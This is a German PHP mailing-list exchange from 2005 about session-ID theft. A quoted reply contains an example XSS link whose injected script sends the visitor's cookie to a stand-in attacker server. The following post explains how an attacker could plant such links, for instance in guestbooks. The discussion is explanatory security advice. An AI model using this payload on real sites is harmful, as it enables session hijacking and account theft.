[php] Zeitkontrolle

[Sebastian Mendel]

Stefan Brueckmann wrote:
> Hallo Peter Prochaska,
> 
> am Mittwoch, 12. Oktober 2005 13:59 schriebst du:
> 
>> Einfaches Beispiel:
>> 1. Ein Nutzer deiner Applikation loggt sich ein und erhält ein
>> Session Cookie. In diesem Cookie steht nun die Session-ID von PHP.
>>
>> 2. Ein böser Bube schreibt eine HTML-Mail an eben diesen Nutzer und
>> versteckt darin den Link
>> www.test.de/index.php"><script>this.location.href='http://www.boese
>> r-server.de/?cookie='+document.cookie</script>< Durch die
>> Möglichkeiten die man in HTML hat, kann man den Link ja anders
>> anzeigen lassen, z.B. "Hier gehts zum Gewinnspiel".
> 
> Kannst du uns auch  verraten wie der Böse Bube mitbekommt das sein 
> Empfänger irgendwo eingeloggt ist?
> Oder warum die Leute, währen sie in meinem genialen Webfrontend 
> eingeloggt, sind noch Zeit haben E-mail zu beantworten?
> ;-)

das braucht Peter euch nicht zu erzählen, das steht überall im Web! ... 
ich find es etwas peinlich das man Programmierern erst erklären muss wie 
schwerwiegend eine Sicherheitslücke ist nachdem sie ihm erklärt wurde ...


der 'böse Bube' könnte es blindlings probieren ... er könnte ein 
Gästebuch in irgendeiner Community kompromitieren, oder irgendeinen 
anderen Bereich wo die Benutzereingaben nicht genügend geprüft werden 
und andere Benutzer darauf zugreifen, z. B. posted er einen Link welcher 
genau den oben erwähnten Fehler ausnutzt und dann per JavaScript die 
Session-ID des angemeldten Benutzers irgendwohin schickt, oder beliebige 
andere Aktionen ausführen ...

-- 
Sebastian Mendel

www.sebastianmendel.de
www.sf.net/projects/phpdatetime | www.sf.net/projects/phptimesheet